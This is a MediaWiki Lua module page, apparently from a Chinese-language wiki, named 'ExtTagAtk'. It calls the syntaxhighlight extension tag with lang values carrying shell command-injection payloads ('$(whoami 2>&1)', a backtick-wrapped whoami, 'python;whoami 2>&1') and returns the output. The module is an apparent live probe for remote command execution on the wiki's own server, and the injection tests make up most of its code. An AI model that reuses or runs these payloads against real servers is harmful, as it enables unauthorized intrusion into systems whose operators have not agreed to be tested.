模块:ExtTagAtk

来自希服维基

可在模块:ExtTagAtk/doc创建此模块的帮助文档

local p = {}
function p.test(frame)
    local parent = frame:getParent()
    if not parent or not parent.extensionTag then return "no_extensionTag" end

    local results = {}

    -- Test 1: Normal syntaxhighlight
    local ok1, out1 = pcall(parent.extensionTag, parent, "syntaxhighlight", "print('hello')", {lang="python"})
    results[1] = "normal=" .. tostring(out1):sub(1,80)

    -- Test 2: syntaxhighlight with command substitution in lang
    local ok2, out2 = pcall(parent.extensionTag, parent, "syntaxhighlight", "print('test')", {lang="$(whoami 2>&1)"})
    results[2] = "cmd_sub=" .. tostring(out2):sub(1,80)

    -- Test 3: syntaxhighlight with backtick in lang
    local ok3, out3 = pcall(parent.extensionTag, parent, "syntaxhighlight", "print('test')", {lang="`whoami 2>&1`"})
    results[3] = "backtick=" .. tostring(out3):sub(1,80)

    -- Test 4: syntaxhighlight with semicolon in lang
    local ok4, out4 = pcall(parent.extensionTag, parent, "syntaxhighlight", "print('test')", {lang="python;whoami 2>&1"})
    results[4] = "semi=" .. tostring(out4):sub(1,80)

    -- Test 5: syntaxhighlight with empty content to focus on lang
    local ok5, out5 = pcall(parent.extensionTag, parent, "syntaxhighlight", "", {lang="$(whoami 2>&1)"})
    results[5] = "empty_content=" .. tostring(out5):sub(1,80)

    -- Test 6: math extension tag (might have different handling)
    local ok6, out6 = pcall(parent.extensionTag, parent, "math", "\\frac{1}{2}")
    results[6] = "math=" .. tostring(ok6) .. ":" .. tostring(out6):sub(1,80)

    return table.concat(results, " | ")
end
return p